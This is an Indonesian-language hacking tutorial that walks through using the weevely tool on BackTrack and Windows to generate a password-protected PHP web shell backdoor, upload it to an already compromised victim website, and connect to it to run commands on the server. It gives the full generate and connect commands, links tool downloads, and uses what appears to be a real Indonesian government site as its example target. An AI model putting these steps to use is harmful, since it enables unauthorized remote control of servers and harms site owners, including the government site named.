tutorial kali ini akan menjelaskan tentang cara backconnect ke server dengan mudah tanpa port seperti pada netcat pada os BACKTRACK dan pada os WINDOWS
1. pada os Backtrack
disini saya menggunakan tool weevely.py yang sudah ada pada backtrack 5
tapi di versi windows pun juga ada loh
hebatnya lagi weevely tidak membutuhkan pengaturan ip forward nat pada router jadi tinggal plug n play saja
sekarang apa itu backconnect
backconnect = menghubungkan si attacker dengan korban
supaya si attacker bisa memasukkan perintah-peritah pada mesin korban
oke pertama saya akan memperlihatkan bagaimana weveely bekerja pada backtrack
buka terminal lalu masuk directory /pentest/backdoors/web/weevely
cd /pentest/backdoors/web/weevely
setelah itu kita buat backdor shell nya beserta passwordnya dengan perintah
./weevely.py generate 123456 /root/shell.php
ganti tulisan warna hijau dengan password kalian
dan warna merah dengan nama sesuai keinginan
disini hasil output weevely saya namai shell.php
setelah itu shell php backdoor pun tercipta pada folder root
dan sekarang upload backdoor yangbaru dibuat pada website target yang sudah tertanam shell
setelah itu panggil filenye yang di upload tadi
http://websitetarget/path/shell.php
./weevely.py http://vsi.esdm.go.id/bencana/shell.php 123456
ganti tulisan biru dengan alamat target shell.php dan warna merah dengan password yang telah di buat tadi
dan sukses kita berada pada local mesin korban
2. Pada Os Windows
download dulu python dan anak-anknya --> https://dl.dropboxusercontent.com/s/95dgtfd8zx406fr/Python275.rar?token_hash=AAGBUkk701PTlNWTYWNP9qBrI583EiZQiJrjN7tSeyRnMQ&dl=1
lalu install ya . . . install pada directory C: saja
setelah diinstal maka folder Python27 tercipta
lalu download tool weevely nya --> https://dl.dropboxusercontent.com/s/8uw2u0z787ps9oh/weevely.rar?token_hash=AAHB_Z2MgYItAfIypOfpqZHm74UVpv2LuGd0LnUpqNdcnQ&dl=1
setelah tool weevelynya didownload ekstrak pada folder python27 alangkah baiknya buat new folder degan nama apps lalu ekstrak disitu
setelah diekstrak buat file .php dengan notepad kosongan saja dan save di folder weevely
disini saya namai test.php
lalu buka cmd dengan menekan tombol windows + r dan masuk directory python27/apps/weveely
cd/
cd /Python27/apps/weevely
kemudian ketikkan perintah
main.py -g -o test.php -p 123456test.php = file kosongan tadi
123456 = password
nah,,file yg kosong tadi telah berisi kode php dari Weevely,,
saatnay upload ke website korban yang telah tertanam shell php backdoor
kembali lagi ke cmd dan panggil file test.php tadi
ganti tulisan merah dengan alamat php target yang telah di uploadmain.py -t -u http://alamattarget.com/path/test.php -p 123456
ganti tulisan hijau itu = password yang telah kita buat tadi
Dan kita pun masuk pada local mesin server korban
